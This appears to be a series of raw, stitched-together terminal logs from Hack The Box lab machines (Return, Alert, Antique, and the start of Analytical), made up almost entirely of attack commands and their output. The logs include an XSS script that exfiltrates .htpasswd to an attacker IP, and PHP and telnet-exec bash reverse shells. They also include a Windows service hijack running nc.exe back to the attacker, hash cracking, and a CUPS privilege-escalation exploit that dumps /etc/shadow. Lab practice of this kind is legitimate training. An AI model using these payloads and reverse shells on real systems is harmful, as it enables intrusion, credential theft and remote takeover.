*Evil-WinRM* PS C:\Temp> download SAM
Info: Downloading C:\Temp\SAM to SAM
Info: Download successful!
*Evil-WinRM* PS C:\Temp> download SYSTEM
Info: Downloading C:\Temp\SYSTEM to SYSTEM
Info: Download successful!❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::❯ nxc smb 10.10.11.108 -u 'Administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0'
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [-] return.local\Administrator:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE *Evil-WinRM* PS C:\Temp> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288*Evil-WinRM* PS C:\Temp> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc*Evil-WinRM* PS C:\Temp> ls
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/24/2025 8:06 AM 28160 nc.exe
Evil-WinRM* PS C:\Temp>*Evil-WinRM* PS C:\Temp> sc.exe config VMTools binPath="C:\Temp\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...*Evil-WinRM* PS C:\Temp> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Temp> sc.exe start VMTools❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.108] 50086
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
00ac8a0f81**********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.44 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 21:18 CET
Initiating SYN Stealth Scan at 21:18
Scanning 10.10.11.44 [65535 ports]
Discovered open port 22/tcp on 10.10.11.44
Discovered open port 80/tcp on 10.10.11.44
Completed SYN Stealth Scan at 21:18, 22.08s elapsed (65535 total ports)
Nmap scan report for 10.10.11.44
Host is up, received user-set (0.077s latency).
Scanned at 2025-01-21 21:18:21 CET for 22s
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds
Raw packets sent: 69477 (3.057MB) | Rcvd: 69475 (2.779MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.44
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.44 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 21:25 CET
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 82.01 ms 10.10.16.1
2 41.41 ms alert.htb (10.10.11.44)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ catnp /etc/hosts | grep 10.10.11.44
10.10.11.44 alert.htb❯ catnp example.md
# h1 Heading 8-)
## h2 Heading
### h3 Heading
#### h4 Heading
##### h5 Heading
###### h6 Heading
Alternatively, for H1 and H2, an underline-ish style:
Alt-H1
======
Alt-H2
------❯ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://alert.htb -H "Host:FUZZ.alert.htb" -ac -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.alert.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 94ms]// Some code❯ cat /etc/hosts | grep 10.10.11.44
10.10.11.44 alert.htb statistics.alert.htb❯ gobuster dir -u http://alert.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://alert.htb/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php (Status: 200) [Size: 1]
/contact.php (Status: 200) [Size: 24]<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.5/?file_content=" + encodeURIComponent(data));
});
</script>❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.44 - - [21/Jan/2025 22:41:26] "GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -❯ hashid '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/'
Analyzing '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/'
[+] MD5(APR)
[+] Apache MD5
❯ hashcat -h | grep Apache
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
❯ hashcat -a 0 -m 1600 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...[snip]...
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited ❯ ssh albert@10.10.11.44
The authenticity of host '10.10.11.44 (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.44' (ED25519) to the list of known hosts.
albert@10.10.11.44's password:
...[snip]...
albert@alert:~$ cat user.txt
977a065a6***********************albert@alert:~$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)albert@alert:~$ ps aux
...[snip]...
root 1003 0.0 0.6 207012 26488 ? Ss 15:36 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor❯ ssh -L 127.0.0.1:8080:127.0.0.1:8080 albert@10.10.11.44
albert@10.10.11.44's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
Last login: Tue Jan 21 17:24:20 2025 from 10.10.16.5
albert@alert:~$albert@alert:/opt/website-monitor/config$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:/opt/website-monitor/config$ ls -l
total 4
-rwxrwxr-x 1 root management 49 Nov 5 14:31 configuration.phpalbert@alert:/opt/website-monitor/config$ cat gzzcoo.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'"); ?>
albert@alert:/opt/website-monitor/config$ ls -l
total 8
-rwxrwxr-x 1 root management 49 Jan 21 17:33 configuration.php
-rwxrwxr-x 1 albert management 75 Jan 21 17:32 gzzcoo.php❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -s -X GET '127.0.0.1:8080/config/gzzcoo.php'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.44] 50392
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config$ cat /root/root.txt
2352161ea***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.107 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 01:15 CET
Initiating SYN Stealth Scan at 01:15
Scanning 10.10.11.107 [65535 ports]
Discovered open port 23/tcp on 10.10.11.107
Completed SYN Stealth Scan at 01:15, 22.04s elapsed (65535 total ports)
Nmap scan report for 10.10.11.107
Host is up, received user-set (0.050s latency).
Scanned at 2025-01-27 01:15:02 CET for 22s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.19 seconds
Raw packets sent: 66438 (2.923MB) | Rcvd: 66448 (2.658MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.107
[*] Open ports: 23
[*] Ports copied to clipboard❯ nmap -sCV -p23 10.10.11.107 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 01:15 CET
Nmap scan report for 10.10.11.107
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270:
| JetDirect
| Password:
| NULL:
|_ JetDirect
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.95%I=7%D=1/27%Time=6796D03A%P=x86_64-pc-linux-gnu%r(NULL
SF:,F,"\nHP\x20JetDirect\n\n")%r(GenericLines,19,"\nHP\x20JetDirect\n\nPas
SF:sword:\x20")%r(tn3270,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(GetReq
SF:uest,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(HTTPOptions,19,"\nHP\x2
SF:0JetDirect\n\nPassword:\x20")%r(RTSPRequest,19,"\nHP\x20JetDirect\n\nPa
SF:ssword:\x20")%r(RPCCheck,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(DNS
SF:VersionBindReqTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(DNSStatusR
SF:equestTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Help,19,"\nHP\x20J
SF:etDirect\n\nPassword:\x20")%r(SSLSessionReq,19,"\nHP\x20JetDirect\n\nPa
SF:ssword:\x20")%r(TerminalServerCookie,19,"\nHP\x20JetDirect\n\nPassword:
SF:\x20")%r(TLSSessionReq,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Kerbe
SF:ros,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(SMBProgNeg,19,"\nHP\x20J
SF:etDirect\n\nPassword:\x20")%r(X11Probe,19,"\nHP\x20JetDirect\n\nPasswor
SF:d:\x20")%r(FourOhFourRequest,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r
SF:(LPDString,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPSearchReq,19,
SF:"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPBindReq,19,"\nHP\x20JetDire
SF:ct\n\nPassword:\x20")%r(SIPOptions,19,"\nHP\x20JetDirect\n\nPassword:\x
SF:20")%r(LANDesk-RC,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(TerminalSe
SF:rver,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(NCP,19,"\nHP\x20JetDire
SF:ct\n\nPassword:\x20")%r(NotesRPC,19,"\nHP\x20JetDirect\n\nPassword:\x20
SF:")%r(JavaRMI,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(WMSRequest,19,"
SF:\nHP\x20JetDirect\n\nPassword:\x20")%r(oracle-tns,19,"\nHP\x20JetDirect
SF:\n\nPassword:\x20")%r(ms-sql-s,19,"\nHP\x20JetDirect\n\nPassword:\x20")
SF:%r(afp,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(giop,19,"\nHP\x20JetD
SF:irect\n\nPassword:\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 61.73 ms 10.10.16.1
2 32.26 ms 10.10.11.107
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.36 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ telnet 10.10.11.107
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.
HP JetDirect
Password:
Invalid password
Connection closed by foreign host.❯ nmap --top-ports 100 --open -sU -vvv -Pn -n 10.10.11.107
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 01:18 CET
Initiating UDP Scan at 01:18
Scanning 10.10.11.107 [100 ports]
Increasing send delay for 10.10.11.107 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.11.107 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.11.107 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 10.10.11.107 from 200 to 400 due to max_successful_tryno increase to 7
Increasing send delay for 10.10.11.107 from 400 to 800 due to max_successful_tryno increase to 8
UDP Scan Timing: About 42.70% done; ETC: 01:19 (0:00:42 remaining)
Increasing send delay for 10.10.11.107 from 800 to 1000 due to 11 out of 18 dropped probes since last increase.
Discovered open port 161/udp on 10.10.11.107
Completed UDP Scan at 01:19, 100.03s elapsed (100 total ports)
Nmap scan report for 10.10.11.107
Host is up, received user-set (0.033s latency).
Scanned at 2025-01-27 01:18:13 CET for 100s
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
161/udp open snmp udp-response ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 100.14 seconds
Raw packets sent: 263 (14.720KB) | Rcvd: 213 (16.669KB)❯ snmpwalk -v 2c -c public 10.10.11.107
SNMPv2-SMI::mib-2 = STRING: "HTB Printer"
❯ snmpwalk -v 2c -c public 10.10.11.107 1
SNMPv2-SMI::mib-2 = STRING: "HTB Printer"
SNMPv2-SMI::enterprises.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
SNMPv2-SMI::enterprises.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)❯ snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
SNMPv2-SMI::enterprises.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ❯ echo '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xxd -r -p; echo
P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i IY�aA�"1&1A5❯ telnet 10.10.11.107
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.
HP JetDirect
Password: P@ssw0rd@123!!123
Please type "?" for HELP
> ?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)❯ nc -nlvp 443
listening on [any] 443 ...> exec bash -c 'bash -i >& /dev/tcp/10.10.16.5/443 0>&1'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.107] 55082
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
lp@antique:~$ cat /home/lp/user.txt
cat /home/lp/user.txt
bfd3482a0***********************lp@antique:~$ netstat -ano | grep LISTEN
netstat -ano | grep LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 ::1:631 :::* LISTEN off (0.00/0/0)❯ ./chisel server --reverse -p 1234
2025/01/27 01:30:49 server: Reverse tunnelling enabled
2025/01/27 01:30:49 server: Fingerprint 2rgce5eKdOw74ibZ3pEyZ2xkaiDbBwAUWRjYfuZs7kI=
2025/01/27 01:30:49 server: Listening on http://0.0.0.0:1234❯ ls -l chisel
.rwxr-xr-x kali kali 8.9 MB Mon Jan 27 01:30:46 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...lp@antique:/tmp$ curl http://10.10.16.5/chisel -o /tmp/chisel
curl http://10.10.16.5/chisel -o /tmp/chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9152k 100 9152k 0 0 2934k 0 0:00:03 0:00:03 --:--:-- 2933k
lp@antique:/tmp$ chmod +x chisel
chmod +x chisel
lp@antique:/tmp$ ./chisel client 10.10.16.5:1234 R:631:127.0.0.1:631
./chisel client 10.10.16.5:1234 R:631:127.0.0.1:631
2025/01/27 00:33:11 client: Connecting to ws://10.10.16.5:1234
2025/01/27 00:33:11 client: Connected (Latency 32.031023ms)lp@antique:/tmp$ ls -l exploit.sh
ls -l exploit.sh
-rwxrwxr-x 1 lp lp 13028 Jan 27 00:39 exploit.sh
lp@antique:/tmp$ ./exploit.sh
./exploit.sh
_
___ _ _ _ __ ___ _ __ ___ ___ | |_
/ __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____
| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|
\___|\__,_| .__/|___/ |_| \___/ \___/ \__|
/ _(_) | _|_| _ __ ___ __ _ __| | ___| |__
| |_| | |/ _ \_____| '__/ _ \/ _` |/ _` | / __| '_ \
| _| | | __/_____| | | __/ (_| | (_| |_\__ \ | | |
|_| |_|_|\___| |_| \___|\__,_|\__,_(_)___/_| |_|
a bash implementation of CVE-2012-5519 for linux.
[i] performing checks...
[i] checking for cupsctl command...
[+] cupsctl binary found in path.
[i] checking cups version...
[+] using cups 1.6.1. version may be vulnerable.
[i] checking user lp in lpadmin group...
[+] user part of lpadmin group.
[i] checking for curl command...
[+] curl binary found in path.
[+] all checks passed.
[!] warning!: this script will set the group ownership of
[!] viewed files to user 'lp'.
[!] files will be created as root and with group ownership of
[!] user 'lp' if a nonexistant file is submitted.
[!] changes will be made to /etc/cups/cups.conf file as part of the
[!] exploit. it may be wise to backup this file or copy its contents
[!] before running the script any further if this is a production
[!] environment and/or seek permissions beforehand.
[!] the nature of this exploit is messy even if you know what you're looking for.
[i] usage:
input must be an absolute path to an existing file.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow
4. /etc/sudoers ... etc.
[i] ./exploit.sh commands:
type 'info' for exploit details.
type 'help' for this dialog text.
type 'quit' to exit the script.
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md
[>] /root/root.txt
[+] contents of /root/root.txt:
dd7f80890d84993ab6f93e0cded15740[>] /etc/shadow
[+] contents of /etc/shadow:
root:$6$UgdyXjp3KC.86MSD$sMLE6Yo9Wwt636DSE2Jhd9M5hvWoy6btMs.oYtGQp7x4iDRlGCGJg8Ge9NO84P5lzjHN1WViD3jqX/VMw4LiR.:18760:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
usbmux:*:18891:0:99999:7:::lp@antique:/tmp$ python3 exploit.py
python3 exploit.py
id
uid=0(root) gid=7(lp) groups=7(lp),19(lpadmin)
bash
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@antique:/tmp#❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.233 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 17:22 CET
Initiating SYN Stealth Scan at 17:22
Scanning 10.10.11.233 [65535 ports]
Discovered open port 80/tcp on 10.10.11.233
Completed SYN Stealth Scan at 17:22, 16.20s elapsed (65535 total ports)
Nmap scan report for 10.10.11.233
Host is up, received user-set (0.13s latency).
Scanned at 2025-02-05 17:22:26 CET for 16s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.30 seconds
Raw packets sent: 66091 (2.908MB) | Rcvd: 66109 (2.645MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.233
[*] Open ports: 80
[*] Ports copied to clipboard❯ nmap -sCV -p80 10.10.11.233 -A -oN targeted -oX targetedXMl
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 17:24 CET
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Analytical
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 87.23 ms 10.10.16.1
2 44.37 ms analytical.htb (10.10.11.233)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.95 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/passwd | grep 10.10.11.233
10.10.11.233 analytical.htb❯ dirsearch -u 'http://analytical.htb' -i 200 -t 50 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
